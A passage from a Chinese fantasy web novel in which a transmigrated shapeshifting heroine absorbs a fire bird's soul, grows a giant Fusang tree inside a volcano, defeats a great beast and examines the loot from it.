和之前那个木龙的灵魂结晶一样，这个灵魂结晶的名称同样显示的是【未知】……这是不是说明，这个灵魂结晶的等级同样很高，至少跟木龙差不多高？ 回想自己之前吃下木龙结晶时感到的痛苦，颜辞云心中却没有半点畏惧和迟疑—— 吃！一定要吃！ 但不是现在吃。 颜辞云不再耽搁，抓紧时间，飞回树屋，给自己煮了一锅狗肉炖蘑菇汤和一锅兔肉炖蘑菇汤后，也不怕烫，直接仰头倒进嘴里。 【+150】 【+120】 颜辞云眉头一皱。 就像颜辞云想的那样，这些与特殊蘑菇同煮的食物，是具有一定回复能力的。 只不过——还不行！还不够！ 在熔岩地狱的短短片刻，颜辞云就掉了大半血条，如今虽然吃了两锅蘑菇肉汤，却也只回复了270的血量。 这对颜辞云来说，无疑是杯水车薪。 “看来……还是得回海底吃龙肉？” 颜辞云是不愿意将自己所有的希望和手段，都寄托在海底龙尸上的。 但没办法，现在的颜辞云的确没有更多底牌。 于是，接下来，颜辞云先是嘱咐小白，让它这回一定要好好待在家里不要乱跑后，再飞去海底龙尸处，啃了两口龙肉，将自己血条迅速回满。 最后，颜辞云再次回到熔岩池的上方，眼睛盯着脚下又缩小了许多的火焰核心，爪子里握紧了火鸟的灵魂结晶。 “那么——” 成败在此一举！ 颜辞云一口吞下火鸟的灵魂结晶。 下一秒，刺痛与炙烤感如期而至！ 第34章 毕方 你路过的地方，将不受…… 有了前两次吃灵魂结晶的经验打底，这一次，几乎在不适感生出的瞬间，颜辞云就从空中降落，再次向那火焰核心伸爪一掏。 依然很烫。 但那团在颜辞云掌中流动的温度，却似乎从100度的滚水，不知不觉中降到了60多度的热水，虽然依然能称得上一句“烫”，但却已经是能够忍受的范围内了。 颜辞云心道一句“果然”，不再耽搁，张口吞下这团火焰。 那热流入口即化，在嘴里时就像是一团魔鬼椒，又痛又辣，落入胃袋后就变成了一团火，又烫又涨。 但颜辞云并没有没有停下、抽空缓和几分，反而又掏了一团火焰吞下。 第二口火焰下肚。 颜辞云原本辣得受不了的嘴巴，竟然反常地浮出两分细微的清凉，而胃袋也像是被什么东西麻痹了两秒。 虽然两秒后，这疯狂的辣和痛又卷土重来，但颜辞云已然确定了自己究竟该如何做了。 于是，第三口，第四口，第五口…… 随着颜辞云近乎贪婪的吞食，她原本青蓝色的鳞片底色，不知道什么时候有火焰的色彩流动。 与此同时，颜辞云那近两百米的巨大龙形，也逐渐缩小。 青色、蓝色、红色。 三种不同的颜色在颜辞云身上流动不休，衬得颜辞云好似一团五颜六色的橡皮泥，在被无形的力量一点点揉圆后，再一点点捏成另一个截然不同的模样！ 也不知道是什么时候，颜辞云的爪子被翅膀取代，鱼鳞化作羽毛，鹿角揉成冠羽。 那原本令颜辞云好似五脏六腑都被烈焰焚烧的痛苦，在不知不觉中远去，而四周令常人绝难适应的地狱高温，此刻也变得像是托起游鱼的海水一般，让颜辞云只剩满腔的舒适、惬意、自在！ 而在颜辞云将火焰核心的最后一团都吞吃入腹后，颜辞云长长出了一口气，金色的火焰从颜辞云的口中吐出，久久不散。 直到此刻，颜辞云才抽出空闲，打开面板，查看自己此刻的状态。 【变身：鹤形lv7（可解除）】 嗯？不是鸟形，而是鹤形？ 可她怎么看着不像呢？ 颜辞云张开翅膀，看了看自己现在的样子。 颜辞云的羽毛咋一看去十分鲜艳，和火焰巨鸟一模一样，都像是一团流动的活火焰。 可当颜辞云仔细打量后，却惊讶发现，自己的羽毛底色其实并非红色，而是青色，只不过这青羽上的红色斑纹模样实在太过耀眼夺目，这才衬得她整个鸟都像是一团火。 与此同时，颜辞云此刻竟只有一只脚，虽然她一只脚也立得很稳，但总让颜辞云感觉有些怪怪的。 “怎么会有一只脚的鹤……”颜辞云忍不住嘀咕，“难道是我的变形不完整？” 可颜辞云分明记得，她在龙形lv5的时候，就可以全身变龙了呀！ 想不明白，颜辞云便又去看【摄神】这一栏。 不同于【摄形】一栏下杂七杂八的一大堆变形，颜辞云在【摄神】一栏下有且仅有三个能力，即：【蛛魄（lv1）】、【木·龙魄（lv18）】、【火·毕方（lv7）】。 【蛛魄】只有lv1很正常，毕竟在当初吃掉蜘蛛女王的灵魂结晶后，颜辞云一只没有找到升级的途径。 【木·龙魄】则是一直跟着颜辞云的【龙形】一块儿靠吃龙肉升级，她的【龙形】多少级，【木·龙魄】就多少级。 但是……毕方？ 毕方？这个名字，怎么有点耳熟呢？ 虽然不像龙凤那样耳熟能详到颜辞云这个失忆人士都认得出来，但……但应该也不是什么大路货色吧？ 颜辞云用自己的翅膀拍了拍脑袋，却没从自己的脑瓜里倒腾出什么东西来。 于是她又将目光投向能力描述。 【火·毕方（lv7）：在毕方之魄的影响下，你获得了它生前的少部分能力，并提高了与火焰的亲和性，不再受到无主之火的影响与伤害，但你路过的地方，将不受控制地燃起野火。】 出乎意料的是，【火·毕方】这个能力比木龙的能力描述还要长。 并且这个技能给颜辞云带来了一个相当不错的能力，以及一个颜辞云认为相当不妙的能力。 “不再受到无主之火的影响与伤害”，这个能力其实挺好理解，那就是除了人/兽刻意制造出来的火焰之外，其它自然生成的火焰都不能再伤害到颜辞云。 简而言之，免疫绝大部分的火焰伤害。 这也是颜辞云如今在岩浆池里蹦来跳去都没问题的原因。 但这个能力的缺点就很要命了：“你路过的地方，将不受控制地燃起野火”？ 这句话岂不是在说颜辞云日后走哪儿烧哪儿吗？ 不要了吧，她心爱的小树屋才建好多久呀？难道就不能住了？ 而且她还打算等春天一来就搜罗种子、种地种树；抓捕动物、养鸡养鸭呢！ 如果日后她真的走哪哪着火，那她岂不是只能放弃自己的农场主计划和小树屋，转而在石原、沙漠、火山这样荒凉的地方终老了？ 只是稍稍想一想这样的可悲未来，颜辞云就忍不住眼前一黑。 也别说不变成鹤形就能避免燃起野火这样的事。 要知道，【摄神】的能力与【摄形】的能力可不一样，它的优缺点都是跟着灵魂走的，与颜辞云当前是人形龙形还是鹤形可没有太大关系。 否则，颜辞云当初在石原下的小花园里开垦种田时，又是如何在蛇形下用出木龙的催长能力？ 摄神的优点也好缺点也好，都是不可避免的！ 不·可·避·免·的！ 颜辞云扶着脑袋，被这五个大字砸得晕了好一会儿后，又坚强地支楞起来。 俗话说，五步之内必有解药，再厉害的毒物也会有克制它的东西；万物相生相克，再无解的难题也一定会有自然的解法……总而言之，一定会有办法的！ “先……先找到毕方的巢穴，看有没有能把毕方能力升级的东西……” 既然【火·毕方】lv7的能力，是“无法控制地燃起野火”，那等【火·毕方】的等级上去后，是不是就会变成“可控制地燃起野火”了？ 值得一试——不试不行啊！ 在变身移动火源、不得不在沙漠孤老的威胁下，颜辞云倍感时间紧迫，一分一秒都不敢耽搁，连一旁呼呼大睡的四脚巨兽都懒得多瞧，埋头就在这片满地岩浆的高温池里寻找了起来。 高温的热浪扭曲视线，再加上放眼望去尽是火色，很是妨碍颜辞云的寻宝大业。 颜辞云在地上瞧得烦了，干脆展翅飞……飞、飞？等等，她怎么飞不起来？ 颜辞云原地扑棱了两下翅膀，想起来了：哦，对的，那只大毕方就飞不起来，只能站在地上跟别人抡巴掌。 所以作为小毕方的她飞不起来也是很正常的。 不是，就你这大型走地鸡也好意思叫“鹤形”？ 好悬毕方的火抗是跟着灵魂走的，颜辞云干脆再次变身龙形，飞到天上，放眼望去，四下巡视。 而当颜辞云瞥见熔岩深处的某个地点有一团熟悉的“红雾”正不断翻滚升腾时，她就知道自己找到地方了。 ——就是这里！ 这就是那片“红水”留下的炁、毕方的孕育之地！ 颜辞云的龙形速度极快，只三个呼吸的时间就跨越千里，来到“红雾”面前，轻灵降落。 不同于“紫雾”和“蓝雾”所徘徊的陨坑，“红雾”存在的地方，在一片巨大的、凹陷下去的火山口内。 颜辞云来到火山口上，在看到火山口上徘徊的红雾后，第一反应就是拿出邪龙噬雷枪，试图复刻之前的行动，用枪吸收掉这些残留的炁。 可几乎就在邪龙噬雷枪被颜辞云从物品栏里拿出的瞬间，它就开始狂冒白烟，就像是水与火的激烈碰撞！ 与此同时，邪龙噬雷枪里蕴含的水属性能量也开始疯狂下降。 颜辞云一愣：“啊？啊！” 下一秒，颜辞云恍然醒悟：原来如此，是属性相克！ 邪龙噬雷枪是□□属性的，它和火焰完全合不来啊！ 想明白后，颜辞云连忙将自己的玩具又塞了回去，免得被火烧没了。 接下来，颜辞云在火山口上转了一圈，心中浅浅地在“先想办法把这片红色的炁收了”和“先去毕方的巢穴搜刮”两个选项中犹豫一下。 但也只是两秒时间。 两秒后，颜辞云心中的天平倒向后者，难以抗拒捡漏的快乐，身形向火山深处骤降，一头栽入岩浆深处。 第35章 变化 小怪兽之王！ 毕方的巢穴在火山之下，一个离红雾核心稍稍有一段距离的倒扣的空洞里。 如果不是有着系统小地图，颜辞云还真找不到这样隐蔽的地方。 不过，如今这个地方归她啦！ 那颜辞云自然是该搜刮搜刮，该清理清理，该修整修整。 虽然颜辞云自己也不知道自己以后会不会来住，但以颜辞云如今的能力，随手修一个度假小屋也不碍什么事，不是吗？ 而且——这可是巨型鸟巢！ 颜辞云建过地穴，建过树屋，但还没建过鸟巢呢，更别说是火山深处的隐藏款火鸟鸟巢！ 光是这特殊的地理位置，它珍稀度就得S开头吧？ 真是想想都觉得灵感大爆发！ 颜辞云按捺着抽到稀有卡的激动，定下神来，开始动手，把鸟巢里留下的乱七八糟的东西清理了一些。 毕方鸟巢里的东西不多，除了一个超大的青红色鸟蛋外，就是鸟蛋下那棵被压扁的树了。 颜辞云绕着跟自己差不多大的鸟蛋装了两圈，心中惊叹，二话不说，把它收进物品栏里。 【巨大鸟蛋：精心照料它，当它孵化的那一天，它或许会给你一个惊喜，当然，选择吃掉的话想来味道也很不错。】 孵化？ 颜辞云看着系统注释，有些苦恼。 她又不是真的鸟，也不知道该怎么孵鸟蛋呀！ 而且，这种特殊的鸟一看就需要特殊的环境才能孵化吧？她可没准备在这种高温环境下待太久，当然也不可能真的能悉心照料这颗鸟蛋直到孵化。 ……果然还是找个时间吃掉吧！ 接下来，颜辞云又低头打量地上那棵被压扁的可怜小树。 这棵树，看上去备受某个巨物屁股的蹂躏，从树根往上一寸处就直挺挺地倒在地上，树皮被挤压得绽开，树干则扁扁薄薄的，一副半死不活、离死不远的样子。 颜辞云看得直摇头，可怜地啧了一声，心中感慨这棵可怜小树的屈辱命运，但可怜着可怜着，下一秒颜辞云就反应了过来： 不对，这样高温的火山内，怎么会有普通的树？不应该都烧光了吗？ 甚至，它还被毕方当过床榻？ 要知道，那毕方自带的高温极为可怕，甚至还要高于岩浆，既然如此，这棵树又是怎么在与毕方的近距离接触下活下来的，并且连枝叶都是完好的？ 想到这一点，颜辞云又是惊喜，又是扼腕。 惊喜，自然是因为发现了新的好东西，而扼腕，则是因为这好东西早已被大鸟一屁股坐裂了。 当一棵树变成了一条树后，哪怕是颜辞云，也没办法通过砍伐的方式获得特殊的木块与树种。 ……难道就没有别的办法了吗？ 颜辞云思考了一会，灵光一闪，化身蛇形，拿出有自动采集功能的镰刀，围着这树转了一圈，看会不会有意外收获。 结果还真有！ 【朱果】X5 【朱果：一种水果，可食用。】 颜辞云把朱果从物品栏里取出，看了看果子，又看了看地上的树，发现自己手上的这捧朱果与其说是果子，不如说是放大版的桑葚。 只不过这桑椹的椹实很稀，而且呈现一种非常奇特的赤色，所以看起来倒像是一粒一粒的果子，散发着幽幽异香，看起来让人非常有食欲。 “只不过……嗯……我就是说——” 颜辞云沉吟了一下。 “这东西，平时就是被毕方坐在屁股下头吗？” 颜辞云脑海中浮出一副画面：一只巨大火鸟日常蹲在树上，不是孵蛋就是呼呼大睡，而在它屁股下头，一串朱果悄然结出，散发异香。 只是想一想这个画面，颜辞云就觉得自己也不是那么爱水果了。 “还是不吃了。” 颜辞云觉得自己倒也没有馋到这个地步。 随手把朱果塞回物品栏，颜辞云又观察自己的第二个收获： 【未知的树种】X2 从名字上来看，这个树种与颜辞云以往得到的树种没有任何区别，如果不是颜辞云在来之前清理过自己物品栏的杂物，恐怕这树种早就被系统随随便便地丢进【一堆树种】那一格了。 可颜辞云坚信，在这环境都能活下来的树，绝对不是普通树。 于是颜辞云干脆将这两棵树就地种下，用木龙的力量开始催长。 但是，让颜辞云意料之外又情理之中的是，对植物无往而不利的木龙的力量，在这两颗树种上大打折扣。 放在其它树种上足以催生出一棵巨木的力量，竟然只勉强辅助这两颗种子长出细芽！ “是因为力量不够？还是因为……属性不对？” 颜辞云手上浮出盈盈绿芒，伸手感受了一下两颗蔫头耷脑的小树芽，若有所思。 “应该是二者兼具。” 反正毕方的鸟巢也被她搜刮过了，其中最有价值的东西几乎都在物品栏里，颜辞云便也不留恋，将刚种下去没多久的树种又挖了出来，收进物品栏里，蛇尾轻摆，飞速离开。 颜辞云并不是要离开这里。 与之相反，颜辞云是准备去往“红雾”的更深处，看看那里是否正在孕育着另一只毕方，同时也试试自己手中的树种能否在“红雾”深处快速生长。 颜辞云是这样想的：如果说自己手上的这两个树种，是因为和木龙的属性不合，这才难以催长，那么将它种在与它属性契合的“红雾”里，再进行催长，两厢结合之下，是不是就能克服这一问题了？ 抱着这样的期盼，颜辞云向着火山更深处的可怕高温游去。 当那炽烈可怖、就连岩石都要绽裂的高温，从颜辞云的皮肤上流淌而过时，颜辞云不经意低头，突然看到自己的皮肤在熔岩下竟如同赤玉。 颜辞云的脚步停下，看着自己现在的模样，若有所思。 说起来，她现在除了不惧寒暑、不惧火焰与高温之外，是不是皮肤的硬度也提升了许多？ 颜辞云摸了摸自己光裸的手臂，光滑，柔韧；轻轻一按，坚若玉石。 接着，颜辞云又抬手，捉住还没来得及完全融化的落石，用力一捏。 那颗在滚烫岩浆内都负隅顽抗的坚硬石头，在颜辞云的五指间竟好似流沙，只是轻轻一捏，就化为粉末，从颜辞云的指缝流走，融入火色。 与此同时，颜辞云还发现，她的长发竟然也没有在这样的高温下枯焦受损，反而像是一道道细细的火蛇，恍如有生命一般在岩浆中浮沉涌动。 颜辞云好奇抓住一根发丝，手捏着发丝两端，一点点向上加力。 而一直到颜辞云加到两成力，这根细细的发丝才终于绷断。 颜辞云看着这一幕，颇感惊讶：噫，竟然承力还挺高？！ 要知道，颜辞云如今的攻击力，在系统六位图里早已经达到了C级，无论是雷云也好巨木也罢，都是一尾巴一爪子的事。 可以说，只要不是遇上完全体毕方和四角巨兽这种体型有压倒性差距的大怪兽，颜辞云就是当之无愧的小怪兽之王！ 以颜辞云的力量等级而言，哪怕她的两成力，也是能轻松捏碎石板的，而这一根小小的、细细的发丝，竟然堪比石板……看来再这样吞噬进化下去，以她的头发充当建筑材料的未来真是指日可待。 颜辞云有些好笑地摇了摇头。 谁能想到呢？ 仅仅不过是一个月的时间——哦，是一个多月快两个月了——一个人竟就能有这样地覆天翻的变化。 是因为这个世界太过奇特，孕育的奇特生命等级太高，这才带飞了她这个穿越而来的弱鸡？ 还是因为颜辞云的金手指实在太大？ 嘻嘻，反正都是她拿好处，都一样啦！ 不再思考这样的事，颜辞云继续向火山深处深入，终于在火山的岩浆深处找到了一片被炁撑起的巨大空地。 没错，是在岩浆深处的、一片被炁撑开岩浆的巨大空地，而不是火山内部天然成型的空地！ 多么不可思议啊！ “炁”这种东西，不该是无形无质、没有特殊机缘时连看都看不到的吗？ 颜辞云可是记得很清楚，当初她曾试着用自己的手去骚扰那些蓝色的炁和紫色的炁，但对方不为所动，并且她的手上也没有传来任何触感！ 但她现在看到了什么？ 那一团红色的炁，竟然如同实质一样，把火山深处的岩浆“撑开”了？ 颜辞云好奇上前，谨慎伸手，试探着去触碰这团浑圆如鸡子的“炁”。 但又一次的，她的手毫无阻碍地穿过了炁。 别说是被阻碍被烫伤被排斥了，她根本就什么都没摸着！ ——到底是什么原理啊！！ 颜辞云心中气闷，但也没太过为难自己，瞪了一眼对她无动于衷的炁后，便一头扎进红炁中的空地里，一拳头砸开熔岩冷却后形成的火成岩，把树种往碎石块里意思意思一埋，就开始野蛮催长。 木龙之力：我让你长，你就得长！ 随着颜辞云的蛮横催长，颜辞云清楚看到，那一缕缕的红炁都化作雨丝，从天而降，被这树种吸收了进去！ 在这些红炁的滋养下，两颗树种一改方才在毕方巢穴中的颓势，竟真的在碎石里生根发芽，疯长起来。 火焰一般的树叶，岩浆一般的树干。 在颜辞云惊讶的目光下，这两个树种吸收红炁的速度越来越快，而后越长越大、越长越高，最后，竟在没有颜辞云干扰的情况下，自发地长在了一块儿，相互依靠、相互缠绕，好似同根偶生！ ——这到底是什么树？！ 颜辞云看着这两棵树，在它们就开始疯长时，就很有先见之明地开始后退了。 她催长的指令依然没有停止，但却有些担忧这里的红炁够不够用。 想到这里，颜辞云抬头瞧了一眼头顶撑开岩浆的红炁。 但下一秒，颜辞云就被自己看到的东西吓了一跳。 第36章 扶桑 天降外挂 颜辞云记得很清楚，自己如今身处的，是火山岩浆的深处、一块被红炁撑起来的空地里。 而当颜辞云穿过红炁，进入空地后，她头顶百余丈外的地方，就是滚烫的岩浆，红彤彤的，带着致命的危险与高温。 可如今，当颜辞云抬头再看时，她震惊发现，那刺目的岩浆不知道什么时候暗淡了下去，变黑变冷了，就如同颜辞云如今脚下的火成岩一样！ 这、这……这是怎么回事？ 明明刚刚还不是这样的啊！ 颜辞云吃惊之下，多看了好几眼。 于是她很快发现端倪。 “好像是……那团炁把岩浆的热力抽走了？” 颜辞云看着头顶没有丝毫增厚又没有丝毫减薄的红炁，很快便恍然醒悟： “是这两颗树种为了生长，在不断抽取火炁，于是火炁为了维系自身，又主动抽取了岩浆内部的炁！” 也就是说，这两颗树种的生长，在抽取整座火山的热力？ 真么厉害的吗？ 颜辞云还真是第一次见到这样神奇的树。 比起那棵被颜辞云以息土强行催长的巨木，这树可神秘也神奇多了！ 颜辞云对这神秘树越发期待起来，主动又向后退了两步，给它们留出了更多的生长空间。 可很快的，这样的空间就不够用了。 这个由红色火炁撑起来的空间，是一个直径五百多米的圆形。颜辞云最初觉得，这个空间只种两棵树，怎么都是够的。 毕竟除了颜辞云以息土培养、强行突破生长极限的巨木之外，她还没见过有那棵树的高度超500米呢！ 可偏偏，这颗在毕方巢穴里不足一百米高的小树，在这儿却不断不断地向上生长，没一会儿就超过了五百米，火焰一样的枝叶破开无形的火炁空间后，进又生生挤开头顶迅速冷却坚硬的火成岩，继续向上生长！ 这是要长多高多大啊？！ 在颜辞云目瞪口呆的注视下，她眼睁睁看着这棵神秘树的树干直径暴涨。 浑圆的火炁在神秘树的侵蚀下摇摇欲坠，似乎越来越难以支撑，无尽的热量化作火焰的风暴，扑向巨木，以致于颜辞云分明站在火山深处，却反而感到了冷意！ 一百米，两百米。 巨木还在疯长。 三百米，四百米！ 在颜辞云生生被这神秘树挤出红炁空间，和空间外的火成岩一样被挤成饼之前，颜辞云聪明地拿出了自己闪亮的钻石稿，开始狂挖石头。 一二三花岗岩，一二三玄武岩，一二三橄榄岩，一二三铁矿石……啥？ 出铁了？真出铁了？ 天呐，除了在海底捡垃圾之外，她竟然也有挖到铁矿石的一天！ 虽然现在她好像没什么能用得铁上的地方，但能挖出铁来就是一个巨大的进步啊……不对，算了，现在不是想这些的时候，赶紧跑路吧，那神秘树竟然还越长越快了！ 颜辞云最开始还不舍得自己的材料们，乖乖用钻石镐敲矿石块，勤勤恳恳收集。 但很快的，随着那神秘树的长势越来越疯，身后的石块挤压声越来越近，颜辞云也顾不得材料的事了，手中道具切换成粉碎一切的锤子，哐当一下就从坚硬的火成岩里砸出一条长长通道。 轰！轰！轰！ 不再顾惜材料后，颜辞云飞快敲出了一条出火山的通道，飞出了火山口，从天空处向下眺望。 只见此刻，颜辞云身下，那座片刻前还滚烫沸腾的活火山，这会儿竟然冰冷沉寂了下去，化作一片灰黑，好似被分尸的熔岩尸体。 而随着熔岩的死去，取而代之的，是从这焦尸上长出的庞然火色！ 它如此高，如此大，光是暴露在火山口之上的树干，就超过了两千米，枝繁叶茂，有着颜辞云树屋所在的巨木都无法相比的勃勃生机。 与此同时，它又如此美丽，令人目眩神迷，枝条曼妙，叶盘蜿而屈，咋看之下像是一只只振翅欲飞的火鸟，并且，在枝叶间，还有无数火红色朱果高悬，一颗一颗闪耀着，就好像天上同时亮起了千万颗太阳！ 不可思议。 多么不可思议啊！ 这世界上，竟然还有这样神奇的树木？！ 在颜辞云震撼而惊叹的注视下，这火焰巨木还在不断不断地长高，直到火山下头那最后一分热气都散去后，它终于停在了三千六百米这个高度。 三千六百米，足足比颜辞云的树高了两千两百米！ 并且，因为这火焰巨木自身就是发光的——树干树皮、叶片果实，全都散发着热气与红光。 所以，当神秘树吸收了岩浆池的所有热量，令火色的大地化作灰黑，庞然的枝叶伸出黑地、遮蔽了整片沙海后，沙海上方的天空不但没有因此黯淡阴凉下去，反而还又炎热明亮了几分。 【扶桑树】 【用途：待探索】 “扶桑树？” “又是一个有点耳熟的名字呢……” 颜辞云在天空盘旋了两圈，试探着靠近扶桑树。 而这扶桑树不但没有抗拒颜辞云的接近，反而还令颜辞云在心念牵引间，隐隐生出一种微妙的血脉相连的感觉。 “……嗯？是错觉吗？” 颜辞云惊讶间，又向树干靠近两分，最后干脆化作鹤形，站在了扶桑树那大如轮盘、状若火鸟的巨叶片上，用翅膀好奇摸来摸去。 不知道为什么，这一刻，颜辞云总觉得自己好像能够操纵这棵树。 ——操纵一棵树！ 真是新奇。 这样的一件事，光是想一想，颜辞云都觉得有点不可思议了，没想到它竟会化作一个念头、主动从脑袋里冒出来。 自己到底哪儿来的奇思妙想啊？ 颜辞云心里嘀咕着，随手向外一探，想要摘个朱果尝尝。 ——毕方屁股下的朱果颜辞云不敢尝，这扶桑树上的果子她倒是敢吃的。 但，熟悉的微妙感再次传来。 颜辞云感到，自己的翅膀好像才伸到半路，那红色的朱果就已经塞到了她手里。 “……奇怪。” 颜辞云盯着眼前茂密的枝叶看了两眼。 “没有动物……枝叶也没有移动的迹象……” 那自己手里的这串朱果怎么来的？ 难道是自己化作鹤形的时候眼神不太好，测距有问题？ 颜辞云正一边吃果子一边思考着鸟类的视力问题，但下一秒，一声愤怒不满的咆哮便从树底传来。 颜辞云一怔，探头一瞧，这才发现自己不知什么时候来到了四脚巨兽睡觉的附近。 而颜辞云如今身上还挂着一个debuff，那就是走哪儿哪儿就会燃起野火。 扶桑树这种本就会主动吸收火焰与高温化为己用的神奇树木暂且不提，但至少那四脚巨兽是绝没有免疫火焰的能力的。 所以，这不，颜辞云方一靠近，那四脚巨兽身上就蓦地烧起了火。 【-2】【-2】【-2】 熟睡的四脚巨兽一下就被这高温和火焰痛醒了，但偏偏找不到罪魁祸首，于是便只能一边在满是火成岩的大地上滚来滚去，试图灭火，一边向天空发出无能怒吼。 “啧啧，好可怜哦。” 颜辞云瞧着这一幕，一口一个朱果，一吐一个核，站在树上居高临下地向那四脚巨兽噗噗吐核，像是一个豌豆射手。 颜辞云此举本是玩闹，毕竟她力气虽大，又破不了这巨兽的防，呸两口除了玩闹之外还能有什么用？ ——但没想真的有用！ 却见下一秒，在颜辞云目瞪口呆的注视下，天空蓦地亮起了无数火团！ 它们远远望去就像是一个个燃烧的太阳，全身都散发着高温与火焰，但却又遵循着颜辞云的意志，从天而降，化作一只只绚丽的火鸟，悍然扑向地上的四脚巨兽！ 【-100】【-100】【-100】 四脚巨兽的痛吼声与幻听般的鸟鸣声同时响起。 而当一只只的火焰飞鸟的幻象散去后，颜辞云才讶然发现，那从天而降的根本不是什么火焰飞鸟，而是扶桑树的叶片！ 原来……“操纵树”是这么个意思？！ 这岂不是天降外挂？！ 颜辞云眼睛一亮，精神立即振奋起来，一把抓住冥冥之中与扶桑树的那一抹联系，操纵着漫天飞舞的鸟形叶片，劈头盖脸地向四脚巨兽打去。 四脚巨兽固然厉害，防御固然极高，可它到底已经穷途末路，再加上四爪难敌万叶，因此在【-100】【-100】的扣血下，它竟真的被颜辞云的刮痧式攻击送走了！ 轰！ 随着四角巨兽的最后哀鸣，它终于承受不住，轰然倒下。 而这时，颜辞云身旁的扶桑树也黯淡了许多，像是元气大伤。 颜辞云有些心疼地摸了摸自己的外挂，心中惦记要拿点什么材料，搞个像邪龙噬雷枪一样能装载炁的容器，再去四周转转，找找其它的火炁坑，把它们装回来给她的乖乖小扶桑树补补。 或者找个火山，装点儿岩浆来给它补补也行。 而至于现在—— 当然是收获战利品啦！ 颜辞云摩拳擦掌，跳到地上，举起镰刀。 就让她来看看这巨兽身上那个被系统标注为【珍稀】的植物，到底是个什么玩意儿吧！ 颜辞云挥下镰刀。 下一秒，颜辞云脚下的庞然巨兽倏尔消失。 与此同时，颜辞云的物品栏里悄然多了五样东西。 第37章 葫芦 颜辞云决定偷偷收回自…… 颜辞云没想要吃四脚巨兽这丑八怪，更没想过要收集它的【摄形】，所以便也不惧损耗，直接用镰刀把它给采集了。 不过，巨兽就是巨兽，哪怕颜辞云使用的是损耗率高达90%的镰刀，却也采集出了20块【大肉】。 颜辞云把【大肉】拿出来，上手一掂，发现这【大肉】不愧是大肉，光一块就足有百斤！ 和兔肉狗肉都不是一个等级的！ 之后，【毛皮】也有3大张。 颜辞云同样把它从物品栏里拿出来一瞧，发现这毛皮虽然看不出来头，但跟兔皮狗皮一样，都是方方正正的，不但切割好了，还鞣制好了，就是面积比兔皮狗皮大得多，是30mX30m的。 大吗？ 还行，也就给颜辞云的蛇形当个毛披肩。 除了这两样非常常见的野兽采集物外，剩下的三样就不同寻常了。 首先，是颜辞云最为好奇的一个东西。 它在物品栏的小图标里，正看像鼎、倒看像野兽头骨，但偏偏系统显示为【年兽的胃袋】。 年兽？ 那个四脚巨兽叫“年兽”？ 颜辞云挠挠头：年兽就年兽吧，为什么它胃袋是长这样子的？ 而且她要年兽的胃袋做什么？ 颜辞云抱着微妙的嫌弃之心，把这玩意儿从物品栏里拿出，细细观察。 和它在物品栏里呈现的姿态一样，“年兽的胃袋”是一个正看像青铜鼎、倒看像狰狞头骨的奇特物品。 它不算大，加上“鼎足”也就五米高的样子，容量平平无奇，45立方米左右，除了外观以外看不出别的奇特之处。 唯一让颜辞云心里有些顺气的是，它一出现时就是被制作好的了状态，鼎身摸起来像是某种金属而不是血肉，内里也干干净净的，没有什么污糟东西。 ——就是一个单纯的容器吗？ 颜辞云定睛看了一会儿，系统注释缓缓浮现。 【年兽的胃袋：放入胃袋中的物品将永不腐坏。】 永不腐坏？ 这不就是永久保鲜的意思吗？！ 颜辞云先是惊喜，觉得自己的食物有救了，但很快又变成遗憾： 这东西好虽好，就是容量有点儿小。 对颜辞云这样的小怪兽来说，45立方米能存什么？ 三顿饭，不能更多了！ 也就用来当最后的底牌吧……所以下次还能再刷一个吗？ 听说年兽是每年都会来的，对吧？ 这样想着，颜辞云把这个永鲜袋——她拒绝把叫这玩意儿为“胃袋”——放回物品栏里后，又继续去看下一样物品。 接下来的这一样物品同样十分奇特。 【年兽脊骨】X6 【这段骨头质地如玉，刚柔并济，其上仿佛有云雾缠绕，是一种上好的材料。】 颜辞云：材料？什么材料？炖骨头汤的材料吗？ 颜辞云拿出来看了看，发现光是一段脊骨就有十多米长，看来是够炖好几锅骨头汤的了。 不过，就像系统描述的那样，这脊骨的质地确实非常好，洁白如玉，触手光润生温，离远点儿看时甚至像打了某种滤镜，裹着说不出的斜风细雨，还挺漂亮的，让颜辞云都有点儿舍不得拿它炖汤了。 再说吧！ 把脊骨塞回去后，颜辞云看向了最后最重要的、连系统都要在小地图上标注出【珍稀】的植物——一根藤蔓。 并且上头还结着一只半红半绿、看起来像是被火燎过的葫芦！ 颜辞云茫然地把这葫芦藤拿出来，看了看藤曼，又看了看葫芦，又看了看藤曼，怎么都没觉得它有哪儿特殊。 但既然系统都说它【珍稀】了，那……尝尝？ 颜辞云先是小小地咬了一口藤曼。 出乎意料，有点儿难咬，好像还挺坚韧的。 但颜辞云作为小怪兽，哪里容得了小小藤曼猖狂，于是用力磨了磨牙，咬下来了。 嚼嚼嚼……呸！难吃！ 【风火两济葫芦藤：本是生长在神秘之地的水葫芦藤，先是被恶兽劫走，在火中遭逢大难，后又被邪恶凶兽咬下一口，侥幸存活，能力也因这番劫难发生了天翻地覆的变化，变作风火两济葫芦藤。栽种后可结风、火两种葫芦。】 颜辞云：“……” 颜辞云发现了，这系统虽然关闭了智能人格，但却见缝插针地在注释里蛐蛐她。 不是个厚道系统。 颜辞云决定回头就找个地方把这葫芦藤栽下去。 而至于葫芦藤自带的这只半红半绿的葫芦？ 颜辞云仔细打量，发现这小葫芦上半部分青溜溜的，应该还远没有步入成熟期，但它的下半部分却一片火红，分明应该是被烧焦了，可外表却没有一点萎缩发皱。 如果遮住绿的那一半不看，只看红的那一部分，简直要叫人以为这葫芦本来就该是这个颜色。 ——这又是个什么葫芦？ 颜辞云从藤曼上摘下葫芦，看着这上下浑圆的葫芦有点儿无从下嘴，于是便在葫芦蒂部咬了一口。 噫！ 更难吃了。 【水火炼葫：汇聚了水火两炁的葫芦，虽然自身已不能食用，但或许可以用它炼制些什么。】 颜辞云惊讶地顺着葫芦口往内一瞧，里头黑乎乎的，空荡荡的。 而颜辞云再上手捏一捏后，一个类似于制作台，但只有四个格子的窗口弹出。 颜辞云：“……” 还真是用来“炼制”的啊？ 颜辞云这会儿手头上也没别的，除了一颗鸟蛋、不能吃的朱果、一些矿石块之外，就只有刚刚从年兽身上搞到的采集物了。 炼个什么呢？ 急需能承载火炁之物的颜辞云，按照属性堆积原理，把毕方的鸟蛋、扶桑树上摘下的朱果、扶桑树上摘下的叶片，和扶桑树上取下的一截树枝，分别填进葫芦的四个格子里。 下一秒，四缕青烟飘进葫芦，就好像葫芦真的把它们“吸”了进去似的。 紧接着，格子弹窗从颜辞云眼前关闭，青红葫芦也漂浮起来，轻轻摇晃了两圈。 颜辞云好奇看着，在心中数秒。 三十秒过去后，青红葫芦落下，颜辞云打开窗口，看到了…… 一道菜？ “啊？” 